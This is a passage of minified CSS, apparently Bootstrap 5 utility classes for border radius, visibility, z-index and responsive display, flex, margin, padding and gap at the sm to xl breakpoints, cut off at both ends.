!important;border-top-left-radius:var(--bs-border-radius-lg) !important}.rounded-start-4{border-bottom-left-radius:var(--bs-border-radius-xl) !important;border-top-left-radius:var(--bs-border-radius-xl) !important}.rounded-start-5{border-bottom-left-radius:var(--bs-border-radius-xxl) !important;border-top-left-radius:var(--bs-border-radius-xxl) !important}.rounded-start-circle{border-bottom-left-radius:50% !important;border-top-left-radius:50% !important}.rounded-start-pill{border-bottom-left-radius:var(--bs-border-radius-pill) !important;border-top-left-radius:var(--bs-border-radius-pill) !important}.visible{visibility:visible !important}.invisible{visibility:hidden !important}.z-n1{z-index:-1 !important}.z-0{z-index:0 !important}.z-1{z-index:1 !important}.z-2{z-index:2 !important}.z-3{z-index:3 !important}@media(min-width: 576px){.float-sm-start{float:left !important}.float-sm-end{float:right !important}.float-sm-none{float:none !important}.object-fit-sm-contain{object-fit:contain !important}.object-fit-sm-cover{object-fit:cover !important}.object-fit-sm-fill{object-fit:fill !important}.object-fit-sm-scale{object-fit:scale-down !important}.object-fit-sm-none{object-fit:none !important}.d-sm-inline{display:inline !important}.d-sm-inline-block{display:inline-block !important}.d-sm-block{display:block !important}.d-sm-grid{display:grid !important}.d-sm-inline-grid{display:inline-grid !important}.d-sm-table{display:table !important}.d-sm-table-row{display:table-row !important}.d-sm-table-cell{display:table-cell !important}.d-sm-flex{display:flex !important}.d-sm-inline-flex{display:inline-flex !important}.d-sm-none{display:none !important}.flex-sm-fill{flex:1 1 auto !important}.flex-sm-row{flex-direction:row !important}.flex-sm-column{flex-direction:column !important}.flex-sm-row-reverse{flex-direction:row-reverse !important}.flex-sm-column-reverse{flex-direction:column-reverse !important}.flex-sm-grow-0{flex-grow:0 !important}.flex-sm-grow-1{flex-grow:1 !important}.flex-sm-shrink-0{flex-shrink:0 !important}.flex-sm-shrink-1{flex-shrink:1 !important}.flex-sm-wrap{flex-wrap:wrap !important}.flex-sm-nowrap{flex-wrap:nowrap !important}.flex-sm-wrap-reverse{flex-wrap:wrap-reverse !important}.justify-content-sm-start{justify-content:flex-start !important}.justify-content-sm-end{justify-content:flex-end !important}.justify-content-sm-center{justify-content:center !important}.justify-content-sm-between{justify-content:space-between !important}.justify-content-sm-around{justify-content:space-around !important}.justify-content-sm-evenly{justify-content:space-evenly !important}.align-items-sm-start{align-items:flex-start !important}.align-items-sm-end{align-items:flex-end !important}.align-items-sm-center{align-items:center !important}.align-items-sm-baseline{align-items:baseline !important}.align-items-sm-stretch{align-items:stretch !important}.align-content-sm-start{align-content:flex-start !important}.align-content-sm-end{align-content:flex-end !important}.align-content-sm-center{align-content:center !important}.align-content-sm-between{align-content:space-between !important}.align-content-sm-around{align-content:space-around !important}.align-content-sm-stretch{align-content:stretch !important}.align-self-sm-auto{align-self:auto !important}.align-self-sm-start{align-self:flex-start !important}.align-self-sm-end{align-self:flex-end !important}.align-self-sm-center{align-self:center !important}.align-self-sm-baseline{align-self:baseline !important}.align-self-sm-stretch{align-self:stretch !important}.order-sm-first{order:-1 !important}.order-sm-0{order:0 !important}.order-sm-1{order:1 !important}.order-sm-2{order:2 !important}.order-sm-3{order:3 !important}.order-sm-4{order:4 !important}.order-sm-5{order:5 !important}.order-sm-last{order:6 !important}.m-sm-0{margin:0 !important}.m-sm-1{margin:.25rem !important}.m-sm-2{margin:.5rem !important}.m-sm-3{margin:1rem !important}.m-sm-4{margin:1.5rem !important}.m-sm-5{margin:3rem !important}.m-sm-auto{margin:auto !important}.mx-sm-0{margin-right:0 !important;margin-left:0 !important}.mx-sm-1{margin-right:.25rem !important;margin-left:.25rem !important}.mx-sm-2{margin-right:.5rem !important;margin-left:.5rem !important}.mx-sm-3{margin-right:1rem !important;margin-left:1rem !important}.mx-sm-4{margin-right:1.5rem !important;margin-left:1.5rem !important}.mx-sm-5{margin-right:3rem !important;margin-left:3rem !important}.mx-sm-auto{margin-right:auto !important;margin-left:auto !important}.my-sm-0{margin-top:0 !important;margin-bottom:0 !important}.my-sm-1{margin-top:.25rem !important;margin-bottom:.25rem !important}.my-sm-2{margin-top:.5rem !important;margin-bottom:.5rem !important}.my-sm-3{margin-top:1rem !important;margin-bottom:1rem !important}.my-sm-4{margin-top:1.5rem !important;margin-bottom:1.5rem !important}.my-sm-5{margin-top:3rem !important;margin-bottom:3rem !important}.my-sm-auto{margin-top:auto !important;margin-bottom:auto !important}.mt-sm-0{margin-top:0 !important}.mt-sm-1{margin-top:.25rem !important}.mt-sm-2{margin-top:.5rem !important}.mt-sm-3{margin-top:1rem !important}.mt-sm-4{margin-top:1.5rem !important}.mt-sm-5{margin-top:3rem !important}.mt-sm-auto{margin-top:auto !important}.me-sm-0{margin-right:0 !important}.me-sm-1{margin-right:.25rem !important}.me-sm-2{margin-right:.5rem !important}.me-sm-3{margin-right:1rem !important}.me-sm-4{margin-right:1.5rem !important}.me-sm-5{margin-right:3rem !important}.me-sm-auto{margin-right:auto !important}.mb-sm-0{margin-bottom:0 !important}.mb-sm-1{margin-bottom:.25rem !important}.mb-sm-2{margin-bottom:.5rem !important}.mb-sm-3{margin-bottom:1rem !important}.mb-sm-4{margin-bottom:1.5rem !important}.mb-sm-5{margin-bottom:3rem !important}.mb-sm-auto{margin-bottom:auto !important}.ms-sm-0{margin-left:0 !important}.ms-sm-1{margin-left:.25rem !important}.ms-sm-2{margin-left:.5rem !important}.ms-sm-3{margin-left:1rem !important}.ms-sm-4{margin-left:1.5rem !important}.ms-sm-5{margin-left:3rem !important}.ms-sm-auto{margin-left:auto !important}.p-sm-0{padding:0 !important}.p-sm-1{padding:.25rem !important}.p-sm-2{padding:.5rem !important}.p-sm-3{padding:1rem !important}.p-sm-4{padding:1.5rem !important}.p-sm-5{padding:3rem !important}.px-sm-0{padding-right:0 !important;padding-left:0 !important}.px-sm-1{padding-right:.25rem !important;padding-left:.25rem !important}.px-sm-2{padding-right:.5rem !important;padding-left:.5rem !important}.px-sm-3{padding-right:1rem !important;padding-left:1rem !important}.px-sm-4{padding-right:1.5rem !important;padding-left:1.5rem !important}.px-sm-5{padding-right:3rem !important;padding-left:3rem !important}.py-sm-0{padding-top:0 !important;padding-bottom:0 !important}.py-sm-1{padding-top:.25rem !important;padding-bottom:.25rem !important}.py-sm-2{padding-top:.5rem !important;padding-bottom:.5rem !important}.py-sm-3{padding-top:1rem !important;padding-bottom:1rem !important}.py-sm-4{padding-top:1.5rem !important;padding-bottom:1.5rem !important}.py-sm-5{padding-top:3rem !important;padding-bottom:3rem !important}.pt-sm-0{padding-top:0 !important}.pt-sm-1{padding-top:.25rem !important}.pt-sm-2{padding-top:.5rem !important}.pt-sm-3{padding-top:1rem !important}.pt-sm-4{padding-top:1.5rem !important}.pt-sm-5{padding-top:3rem !important}.pe-sm-0{padding-right:0 !important}.pe-sm-1{padding-right:.25rem !important}.pe-sm-2{padding-right:.5rem !important}.pe-sm-3{padding-right:1rem !important}.pe-sm-4{padding-right:1.5rem !important}.pe-sm-5{padding-right:3rem !important}.pb-sm-0{padding-bottom:0 !important}.pb-sm-1{padding-bottom:.25rem !important}.pb-sm-2{padding-bottom:.5rem !important}.pb-sm-3{padding-bottom:1rem !important}.pb-sm-4{padding-bottom:1.5rem !important}.pb-sm-5{padding-bottom:3rem !important}.ps-sm-0{padding-left:0 !important}.ps-sm-1{padding-left:.25rem !important}.ps-sm-2{padding-left:.5rem !important}.ps-sm-3{padding-left:1rem !important}.ps-sm-4{padding-left:1.5rem !important}.ps-sm-5{padding-left:3rem !important}.gap-sm-0{gap:0 !important}.gap-sm-1{gap:.25rem !important}.gap-sm-2{gap:.5rem !important}.gap-sm-3{gap:1rem !important}.gap-sm-4{gap:1.5rem !important}.gap-sm-5{gap:3rem !important}.row-gap-sm-0{row-gap:0 !important}.row-gap-sm-1{row-gap:.25rem !important}.row-gap-sm-2{row-gap:.5rem !important}.row-gap-sm-3{row-gap:1rem !important}.row-gap-sm-4{row-gap:1.5rem !important}.row-gap-sm-5{row-gap:3rem !important}.column-gap-sm-0{column-gap:0 !important}.column-gap-sm-1{column-gap:.25rem !important}.column-gap-sm-2{column-gap:.5rem !important}.column-gap-sm-3{column-gap:1rem !important}.column-gap-sm-4{column-gap:1.5rem !important}.column-gap-sm-5{column-gap:3rem !important}.text-sm-start{text-align:left !important}.text-sm-end{text-align:right !important}.text-sm-center{text-align:center !important}}@media(min-width: 768px){.float-md-start{float:left !important}.float-md-end{float:right !important}.float-md-none{float:none !important}.object-fit-md-contain{object-fit:contain !important}.object-fit-md-cover{object-fit:cover !important}.object-fit-md-fill{object-fit:fill !important}.object-fit-md-scale{object-fit:scale-down !important}.object-fit-md-none{object-fit:none !important}.d-md-inline{display:inline !important}.d-md-inline-block{display:inline-block !important}.d-md-block{display:block !important}.d-md-grid{display:grid !important}.d-md-inline-grid{display:inline-grid !important}.d-md-table{display:table !important}.d-md-table-row{display:table-row !important}.d-md-table-cell{display:table-cell !important}.d-md-flex{display:flex !important}.d-md-inline-flex{display:inline-flex !important}.d-md-none{display:none !important}.flex-md-fill{flex:1 1 auto !important}.flex-md-row{flex-direction:row !important}.flex-md-column{flex-direction:column !important}.flex-md-row-reverse{flex-direction:row-reverse !important}.flex-md-column-reverse{flex-direction:column-reverse !important}.flex-md-grow-0{flex-grow:0 !important}.flex-md-grow-1{flex-grow:1 !important}.flex-md-shrink-0{flex-shrink:0 !important}.flex-md-shrink-1{flex-shrink:1 !important}.flex-md-wrap{flex-wrap:wrap !important}.flex-md-nowrap{flex-wrap:nowrap !important}.flex-md-wrap-reverse{flex-wrap:wrap-reverse !important}.justify-content-md-start{justify-content:flex-start !important}.justify-content-md-end{justify-content:flex-end !important}.justify-content-md-center{justify-content:center !important}.justify-content-md-between{justify-content:space-between !important}.justify-content-md-around{justify-content:space-around !important}.justify-content-md-evenly{justify-content:space-evenly !important}.align-items-md-start{align-items:flex-start !important}.align-items-md-end{align-items:flex-end !important}.align-items-md-center{align-items:center !important}.align-items-md-baseline{align-items:baseline !important}.align-items-md-stretch{align-items:stretch !important}.align-content-md-start{align-content:flex-start !important}.align-content-md-end{align-content:flex-end !important}.align-content-md-center{align-content:center !important}.align-content-md-between{align-content:space-between !important}.align-content-md-around{align-content:space-around !important}.align-content-md-stretch{align-content:stretch !important}.align-self-md-auto{align-self:auto !important}.align-self-md-start{align-self:flex-start !important}.align-self-md-end{align-self:flex-end !important}.align-self-md-center{align-self:center !important}.align-self-md-baseline{align-self:baseline !important}.align-self-md-stretch{align-self:stretch !important}.order-md-first{order:-1 !important}.order-md-0{order:0 !important}.order-md-1{order:1 !important}.order-md-2{order:2 !important}.order-md-3{order:3 !important}.order-md-4{order:4 !important}.order-md-5{order:5 !important}.order-md-last{order:6 !important}.m-md-0{margin:0 !important}.m-md-1{margin:.25rem !important}.m-md-2{margin:.5rem !important}.m-md-3{margin:1rem !important}.m-md-4{margin:1.5rem !important}.m-md-5{margin:3rem !important}.m-md-auto{margin:auto !important}.mx-md-0{margin-right:0 !important;margin-left:0 !important}.mx-md-1{margin-right:.25rem !important;margin-left:.25rem !important}.mx-md-2{margin-right:.5rem !important;margin-left:.5rem !important}.mx-md-3{margin-right:1rem !important;margin-left:1rem !important}.mx-md-4{margin-right:1.5rem !important;margin-left:1.5rem !important}.mx-md-5{margin-right:3rem !important;margin-left:3rem !important}.mx-md-auto{margin-right:auto !important;margin-left:auto !important}.my-md-0{margin-top:0 !important;margin-bottom:0 !important}.my-md-1{margin-top:.25rem !important;margin-bottom:.25rem !important}.my-md-2{margin-top:.5rem !important;margin-bottom:.5rem !important}.my-md-3{margin-top:1rem !important;margin-bottom:1rem !important}.my-md-4{margin-top:1.5rem !important;margin-bottom:1.5rem !important}.my-md-5{margin-top:3rem !important;margin-bottom:3rem !important}.my-md-auto{margin-top:auto !important;margin-bottom:auto !important}.mt-md-0{margin-top:0 !important}.mt-md-1{margin-top:.25rem !important}.mt-md-2{margin-top:.5rem !important}.mt-md-3{margin-top:1rem !important}.mt-md-4{margin-top:1.5rem !important}.mt-md-5{margin-top:3rem !important}.mt-md-auto{margin-top:auto !important}.me-md-0{margin-right:0 !important}.me-md-1{margin-right:.25rem !important}.me-md-2{margin-right:.5rem !important}.me-md-3{margin-right:1rem !important}.me-md-4{margin-right:1.5rem !important}.me-md-5{margin-right:3rem !important}.me-md-auto{margin-right:auto !important}.mb-md-0{margin-bottom:0 !important}.mb-md-1{margin-bottom:.25rem !important}.mb-md-2{margin-bottom:.5rem !important}.mb-md-3{margin-bottom:1rem !important}.mb-md-4{margin-bottom:1.5rem !important}.mb-md-5{margin-bottom:3rem !important}.mb-md-auto{margin-bottom:auto !important}.ms-md-0{margin-left:0 !important}.ms-md-1{margin-left:.25rem !important}.ms-md-2{margin-left:.5rem !important}.ms-md-3{margin-left:1rem !important}.ms-md-4{margin-left:1.5rem !important}.ms-md-5{margin-left:3rem !important}.ms-md-auto{margin-left:auto !important}.p-md-0{padding:0 !important}.p-md-1{padding:.25rem !important}.p-md-2{padding:.5rem !important}.p-md-3{padding:1rem !important}.p-md-4{padding:1.5rem !important}.p-md-5{padding:3rem !important}.px-md-0{padding-right:0 !important;padding-left:0 !important}.px-md-1{padding-right:.25rem !important;padding-left:.25rem !important}.px-md-2{padding-right:.5rem !important;padding-left:.5rem !important}.px-md-3{padding-right:1rem !important;padding-left:1rem !important}.px-md-4{padding-right:1.5rem !important;padding-left:1.5rem !important}.px-md-5{padding-right:3rem !important;padding-left:3rem !important}.py-md-0{padding-top:0 !important;padding-bottom:0 !important}.py-md-1{padding-top:.25rem !important;padding-bottom:.25rem !important}.py-md-2{padding-top:.5rem !important;padding-bottom:.5rem !important}.py-md-3{padding-top:1rem !important;padding-bottom:1rem !important}.py-md-4{padding-top:1.5rem !important;padding-bottom:1.5rem !important}.py-md-5{padding-top:3rem !important;padding-bottom:3rem !important}.pt-md-0{padding-top:0 !important}.pt-md-1{padding-top:.25rem !important}.pt-md-2{padding-top:.5rem !important}.pt-md-3{padding-top:1rem !important}.pt-md-4{padding-top:1.5rem !important}.pt-md-5{padding-top:3rem !important}.pe-md-0{padding-right:0 !important}.pe-md-1{padding-right:.25rem !important}.pe-md-2{padding-right:.5rem !important}.pe-md-3{padding-right:1rem !important}.pe-md-4{padding-right:1.5rem !important}.pe-md-5{padding-right:3rem !important}.pb-md-0{padding-bottom:0 !important}.pb-md-1{padding-bottom:.25rem !important}.pb-md-2{padding-bottom:.5rem !important}.pb-md-3{padding-bottom:1rem !important}.pb-md-4{padding-bottom:1.5rem !important}.pb-md-5{padding-bottom:3rem !important}.ps-md-0{padding-left:0 !important}.ps-md-1{padding-left:.25rem !important}.ps-md-2{padding-left:.5rem !important}.ps-md-3{padding-left:1rem !important}.ps-md-4{padding-left:1.5rem !important}.ps-md-5{padding-left:3rem !important}.gap-md-0{gap:0 !important}.gap-md-1{gap:.25rem !important}.gap-md-2{gap:.5rem !important}.gap-md-3{gap:1rem !important}.gap-md-4{gap:1.5rem !important}.gap-md-5{gap:3rem !important}.row-gap-md-0{row-gap:0 !important}.row-gap-md-1{row-gap:.25rem !important}.row-gap-md-2{row-gap:.5rem !important}.row-gap-md-3{row-gap:1rem !important}.row-gap-md-4{row-gap:1.5rem !important}.row-gap-md-5{row-gap:3rem !important}.column-gap-md-0{column-gap:0 !important}.column-gap-md-1{column-gap:.25rem !important}.column-gap-md-2{column-gap:.5rem !important}.column-gap-md-3{column-gap:1rem !important}.column-gap-md-4{column-gap:1.5rem !important}.column-gap-md-5{column-gap:3rem !important}.text-md-start{text-align:left !important}.text-md-end{text-align:right !important}.text-md-center{text-align:center !important}}@media(min-width: 992px){.float-lg-start{float:left !important}.float-lg-end{float:right !important}.float-lg-none{float:none !important}.object-fit-lg-contain{object-fit:contain !important}.object-fit-lg-cover{object-fit:cover !important}.object-fit-lg-fill{object-fit:fill !important}.object-fit-lg-scale{object-fit:scale-down !important}.object-fit-lg-none{object-fit:none !important}.d-lg-inline{display:inline !important}.d-lg-inline-block{display:inline-block !important}.d-lg-block{display:block !important}.d-lg-grid{display:grid !important}.d-lg-inline-grid{display:inline-grid !important}.d-lg-table{display:table !important}.d-lg-table-row{display:table-row !important}.d-lg-table-cell{display:table-cell !important}.d-lg-flex{display:flex !important}.d-lg-inline-flex{display:inline-flex !important}.d-lg-none{display:none !important}.flex-lg-fill{flex:1 1 auto !important}.flex-lg-row{flex-direction:row !important}.flex-lg-column{flex-direction:column !important}.flex-lg-row-reverse{flex-direction:row-reverse !important}.flex-lg-column-reverse{flex-direction:column-reverse !important}.flex-lg-grow-0{flex-grow:0 !important}.flex-lg-grow-1{flex-grow:1 !important}.flex-lg-shrink-0{flex-shrink:0 !important}.flex-lg-shrink-1{flex-shrink:1 !important}.flex-lg-wrap{flex-wrap:wrap !important}.flex-lg-nowrap{flex-wrap:nowrap !important}.flex-lg-wrap-reverse{flex-wrap:wrap-reverse !important}.justify-content-lg-start{justify-content:flex-start !important}.justify-content-lg-end{justify-content:flex-end !important}.justify-content-lg-center{justify-content:center !important}.justify-content-lg-between{justify-content:space-between !important}.justify-content-lg-around{justify-content:space-around !important}.justify-content-lg-evenly{justify-content:space-evenly !important}.align-items-lg-start{align-items:flex-start !important}.align-items-lg-end{align-items:flex-end !important}.align-items-lg-center{align-items:center !important}.align-items-lg-baseline{align-items:baseline !important}.align-items-lg-stretch{align-items:stretch !important}.align-content-lg-start{align-content:flex-start !important}.align-content-lg-end{align-content:flex-end !important}.align-content-lg-center{align-content:center !important}.align-content-lg-between{align-content:space-between !important}.align-content-lg-around{align-content:space-around !important}.align-content-lg-stretch{align-content:stretch !important}.align-self-lg-auto{align-self:auto !important}.align-self-lg-start{align-self:flex-start !important}.align-self-lg-end{align-self:flex-end !important}.align-self-lg-center{align-self:center !important}.align-self-lg-baseline{align-self:baseline !important}.align-self-lg-stretch{align-self:stretch !important}.order-lg-first{order:-1 !important}.order-lg-0{order:0 !important}.order-lg-1{order:1 !important}.order-lg-2{order:2 !important}.order-lg-3{order:3 !important}.order-lg-4{order:4 !important}.order-lg-5{order:5 !important}.order-lg-last{order:6 !important}.m-lg-0{margin:0 !important}.m-lg-1{margin:.25rem !important}.m-lg-2{margin:.5rem !important}.m-lg-3{margin:1rem !important}.m-lg-4{margin:1.5rem !important}.m-lg-5{margin:3rem !important}.m-lg-auto{margin:auto !important}.mx-lg-0{margin-right:0 !important;margin-left:0 !important}.mx-lg-1{margin-right:.25rem !important;margin-left:.25rem !important}.mx-lg-2{margin-right:.5rem !important;margin-left:.5rem !important}.mx-lg-3{margin-right:1rem !important;margin-left:1rem !important}.mx-lg-4{margin-right:1.5rem !important;margin-left:1.5rem !important}.mx-lg-5{margin-right:3rem !important;margin-left:3rem !important}.mx-lg-auto{margin-right:auto !important;margin-left:auto !important}.my-lg-0{margin-top:0 !important;margin-bottom:0 !important}.my-lg-1{margin-top:.25rem !important;margin-bottom:.25rem !important}.my-lg-2{margin-top:.5rem !important;margin-bottom:.5rem !important}.my-lg-3{margin-top:1rem !important;margin-bottom:1rem !important}.my-lg-4{margin-top:1.5rem !important;margin-bottom:1.5rem !important}.my-lg-5{margin-top:3rem !important;margin-bottom:3rem !important}.my-lg-auto{margin-top:auto !important;margin-bottom:auto !important}.mt-lg-0{margin-top:0 !important}.mt-lg-1{margin-top:.25rem !important}.mt-lg-2{margin-top:.5rem !important}.mt-lg-3{margin-top:1rem !important}.mt-lg-4{margin-top:1.5rem !important}.mt-lg-5{margin-top:3rem !important}.mt-lg-auto{margin-top:auto !important}.me-lg-0{margin-right:0 !important}.me-lg-1{margin-right:.25rem !important}.me-lg-2{margin-right:.5rem !important}.me-lg-3{margin-right:1rem !important}.me-lg-4{margin-right:1.5rem !important}.me-lg-5{margin-right:3rem !important}.me-lg-auto{margin-right:auto !important}.mb-lg-0{margin-bottom:0 !important}.mb-lg-1{margin-bottom:.25rem !important}.mb-lg-2{margin-bottom:.5rem !important}.mb-lg-3{margin-bottom:1rem !important}.mb-lg-4{margin-bottom:1.5rem !important}.mb-lg-5{margin-bottom:3rem !important}.mb-lg-auto{margin-bottom:auto !important}.ms-lg-0{margin-left:0 !important}.ms-lg-1{margin-left:.25rem !important}.ms-lg-2{margin-left:.5rem !important}.ms-lg-3{margin-left:1rem !important}.ms-lg-4{margin-left:1.5rem !important}.ms-lg-5{margin-left:3rem !important}.ms-lg-auto{margin-left:auto !important}.p-lg-0{padding:0 !important}.p-lg-1{padding:.25rem !important}.p-lg-2{padding:.5rem !important}.p-lg-3{padding:1rem !important}.p-lg-4{padding:1.5rem !important}.p-lg-5{padding:3rem !important}.px-lg-0{padding-right:0 !important;padding-left:0 !important}.px-lg-1{padding-right:.25rem !important;padding-left:.25rem !important}.px-lg-2{padding-right:.5rem !important;padding-left:.5rem !important}.px-lg-3{padding-right:1rem !important;padding-left:1rem !important}.px-lg-4{padding-right:1.5rem !important;padding-left:1.5rem !important}.px-lg-5{padding-right:3rem !important;padding-left:3rem !important}.py-lg-0{padding-top:0 !important;padding-bottom:0 !important}.py-lg-1{padding-top:.25rem !important;padding-bottom:.25rem !important}.py-lg-2{padding-top:.5rem !important;padding-bottom:.5rem !important}.py-lg-3{padding-top:1rem !important;padding-bottom:1rem !important}.py-lg-4{padding-top:1.5rem !important;padding-bottom:1.5rem !important}.py-lg-5{padding-top:3rem !important;padding-bottom:3rem !important}.pt-lg-0{padding-top:0 !important}.pt-lg-1{padding-top:.25rem !important}.pt-lg-2{padding-top:.5rem !important}.pt-lg-3{padding-top:1rem !important}.pt-lg-4{padding-top:1.5rem !important}.pt-lg-5{padding-top:3rem !important}.pe-lg-0{padding-right:0 !important}.pe-lg-1{padding-right:.25rem !important}.pe-lg-2{padding-right:.5rem !important}.pe-lg-3{padding-right:1rem !important}.pe-lg-4{padding-right:1.5rem !important}.pe-lg-5{padding-right:3rem !important}.pb-lg-0{padding-bottom:0 !important}.pb-lg-1{padding-bottom:.25rem !important}.pb-lg-2{padding-bottom:.5rem !important}.pb-lg-3{padding-bottom:1rem !important}.pb-lg-4{padding-bottom:1.5rem !important}.pb-lg-5{padding-bottom:3rem !important}.ps-lg-0{padding-left:0 !important}.ps-lg-1{padding-left:.25rem !important}.ps-lg-2{padding-left:.5rem !important}.ps-lg-3{padding-left:1rem !important}.ps-lg-4{padding-left:1.5rem !important}.ps-lg-5{padding-left:3rem !important}.gap-lg-0{gap:0 !important}.gap-lg-1{gap:.25rem !important}.gap-lg-2{gap:.5rem !important}.gap-lg-3{gap:1rem !important}.gap-lg-4{gap:1.5rem !important}.gap-lg-5{gap:3rem !important}.row-gap-lg-0{row-gap:0 !important}.row-gap-lg-1{row-gap:.25rem !important}.row-gap-lg-2{row-gap:.5rem !important}.row-gap-lg-3{row-gap:1rem !important}.row-gap-lg-4{row-gap:1.5rem !important}.row-gap-lg-5{row-gap:3rem !important}.column-gap-lg-0{column-gap:0 !important}.column-gap-lg-1{column-gap:.25rem !important}.column-gap-lg-2{column-gap:.5rem !important}.column-gap-lg-3{column-gap:1rem !important}.column-gap-lg-4{column-gap:1.5rem !important}.column-gap-lg-5{column-gap:3rem !important}.text-lg-start{text-align:left !important}.text-lg-end{text-align:right !important}.text-lg-center{text-align:center !important}}@media(min-width: 1200px){.float-xl-start{float:left !important}.float-xl-end{float:right !important}.float-xl-none{float:none !important}.object-fit-xl-contain{object-fit:contain !important}.object-fit-xl-cover{object-fit:cover !important}.object-fit-xl-fill{object-fit:fill !important}.object-fit-xl-scale{object-fit:scale-down !important}.object-fit-xl-none{object-fit:none !important}.d-xl-inline{display:inline !important}.d-xl-inline-block{display:inline-block !important}.d-xl-block{display:block !important}.d-xl-grid{display:grid !important}.d-xl-inline-grid{display:inline-grid !important}.d-xl-table{display:table !important}.d-xl-table-row{display:table-row !important}.d-xl-table-cell{display:table-cell !important}.d-xl-flex{display:flex !important}.d-xl-inline-flex{display:inline-flex !important}.d-xl-none{display:none !important}.flex-xl-fill{flex:1 1 auto !important}.flex-xl-row{flex-direction:row !important}.flex-xl-column{flex-direction:column !important}.flex-xl-row-reverse{flex-direction:row-reverse !important}.flex-xl-column-reverse{flex-direction:column-reverse !important}.flex-xl-grow-0{flex-grow:0 !important}.flex-xl-grow-1{flex-grow:1 !important}.flex-xl-shrink-0{flex-shrink:0 !important}.flex-xl-shrink-1{flex-shrink:1 !important}.flex-xl-wrap{flex-wrap:wrap !important}.flex-xl-nowrap{flex-wrap:nowrap !important}.flex-xl-wrap-reverse{flex-wrap:wrap-reverse !important}.justify-content-xl-start{justify-content:flex-start !important}.justify-content-xl-end{justify-content:flex-end !important}.justify-content-xl-center{justify-content:center !important}.justify-content-xl-between{justify-content:space-between !important}.justify-content-xl-around{justify-content:space-around !important}.justify-content-xl-evenly{justify-content:space-evenly !important}.align-items-xl-start{align-items:flex-start !important}.align-items-xl-end{align-items:flex-end !important}.align-items-xl-center{align-items:center !important}.align-items-xl-baseline{align-items:baseline !important}.align-items-xl-stretch{align-items:stretch !important}.align-content-xl-start{align-content:flex-start !important}.align-content-xl-end{align-content:flex-end !important}.align-content-xl-center{align-content:center !important}.align-content-xl-between{align-content:space-between !important}.align-content-xl-around{align-content:space-around !important}.align-content-xl-stretch{align-content:stretch !important}.align-self-xl-auto{align-self:auto !important}.align-self-xl-start{align-self:flex-start !important}.align-self-xl-end{align-self:flex-end !important}.align-self-xl-center{align-self:center !important}.align-self-xl-baseline{align-self:baseline !important}.align-self-xl-stretch{align-self:stretch !important}.order-xl-first{order:-1 !important}.order-xl-0{order:0 !important}.order-xl-1{order:1 !important}.order-xl-2{order:2 !important}.order-xl-3{order:3 !important}.order-xl-4{order:4 !important}.order-xl-5{order:5 !important}.order-xl-last{order:6 !important}.m-xl-0{margin:0 !important}.m-xl-1{margin:.25rem !important}.m-xl-2{margin:.5rem !important}.m-xl-3{margin:1rem !important}.m-xl-4{margin:1.5rem !important}.m-xl-5{margin:3rem !important}.m-xl-auto{margin:auto !important}.mx-xl-0{margin-right:0 !important;margin-left:0 !important}.mx-xl-1{margin-right:.25rem !important;margin-left:.25rem !important}.mx-xl-2{margin-right:.5rem !important;margin-left:.5rem !important}.mx-xl-3{margin-right:1rem !important;margin-left:1rem !important}.mx-xl-4{margin-right:1.5rem !important;margin-left:1.5rem !important}.mx-xl-5{margin-right:3rem !important;margin-left:3rem !important}.mx-xl-auto{margin-right:auto !important;margin-left:auto !important}.my-xl-0{margin-top:0 !important;margin-bottom:0 !important}.my-xl-1{margin-top:.25rem !important;margin-bottom:.25rem !important}.my-xl-2{margin-top:.5rem !important;margin-bottom:.5rem !important}.my-xl-3{margin-top:1rem !important;margin-bottom:1rem !important}.my-xl-4{margin-top:1.5rem !important;margin-bottom:1.5rem !important}.my-xl-5{margin-top:3rem !important;margin-bottom:3rem !important}.my-xl-auto{margin-top:auto !important;margin-bottom:auto !important}.mt-xl-0{margin-top:0 !important}.mt-xl-1{margin-top:.25rem !important}.mt-xl-2{margin-top:.5rem !important}.mt-xl-3{margin-top:1rem !important}.mt-xl-4{margin-top:1.5rem !important}.mt-xl-5{margin-top:3rem !important}.mt-xl-auto{margin-top:auto !important}.me-xl-0{margin-right:0 !important}.me-xl-1{margin-right:.25rem !important}.me-xl-2{margin-right:.5rem !important}.me-xl-3{margin-right:1rem !important}.me-xl-4{margin-right:1.5rem !important}.me-xl-5{margin-right:3rem !important}.me-xl-auto{margin-right:auto !important}.mb-xl-0{margin-bottom:0 !important}.mb-xl-1{margin-bottom:.25rem !important}.mb-xl-2{margin-bottom:.5rem !important}.mb-xl-3{margin-bottom:1rem !important}.mb-xl-4{margin-bottom:1.5rem !important}.mb-xl-5{margin-bottom:3rem !important}.mb-xl-auto{margin-bottom:auto !important}.ms-xl-0{margin-left:0 !important}.ms-xl-1{margin-left:.25rem !important}.ms-xl-2{margin-left:.5rem !important}.ms-xl-3{margin-left:1rem !important}.ms-xl-4{margin-left:1.5rem !important}.ms-xl-5{margin-left:3rem !important}.ms-xl-auto{margin-left:auto !important}.p-xl-0{padding:0 !important}.p-xl-1{padding:.25rem !important}.p-xl-2{padding:.5rem !important}.p-xl-3{padding:1rem !important}.p-xl-4{padding:1.5rem !important}.p-xl-5{padding:3rem !important}.px-xl-0{padding-right:0 !important;padding-left:0 !important}.px-xl-1{padding-right:.25rem !important;padding-left:.25rem !important}.px-xl-2{padding-right:.5rem !important;padding-left:.5rem !important}.px-xl-3{padding-right:1rem !important;padding-left:1rem !important}.px-xl-4{padding-right:1.5rem !important;padding-left:1.5rem !important}.px-xl-5{padding-right:3rem !important;padding-left:3rem !important}.py-xl-0{padding-top:0 !important;padding-bottom:0 !important}.py-xl-1{padding-top:.25rem !important;padding-bottom:.25rem !important}.py-xl-2{padding-top:.5rem !important;padding-bottom:.5rem !important}.py-xl-3{padding-top:1rem !important;padding-bottom:1rem !important}.py-xl-4{padding-top:1.5rem !important;padding-bottom:1.5rem !important}.py-xl-5{padding-top:3rem !important;padding-bottom:3rem !important}.pt-xl-0{padding-top:0 !important}.pt-xl-1{padding-top:.25rem !important}.pt-xl-2{padding-top:.5rem !important}.pt-xl-3{padding-top:1rem !important}.pt-xl-4{padding-top:1.5rem !important}.pt-xl-5{padding-top:3rem !important}.pe-xl-0{padding-right:0 !important}.pe-xl-1{padding-right:.25rem !important}.pe-xl-2{padding-right:.5rem !important}.pe-xl-3{padding-right:1rem !important}.pe-xl-4{padding-right:1.5rem !important}.pe-xl-5{padding-right:3rem !important}.pb-xl-0{padding-bottom:0 !important}.pb-xl-1{padding-bottom:.25rem !important}.pb-xl-2{padding-bottom:.5rem !important}.pb-xl-3{padding-bottom:1rem !important}.pb-xl-4{padding-bottom:1.5rem !important}.pb-xl-5{padding-bottom:3rem !important}.ps-xl-0{padding-left:0 !important}.ps-xl-1{padding-left:.25rem 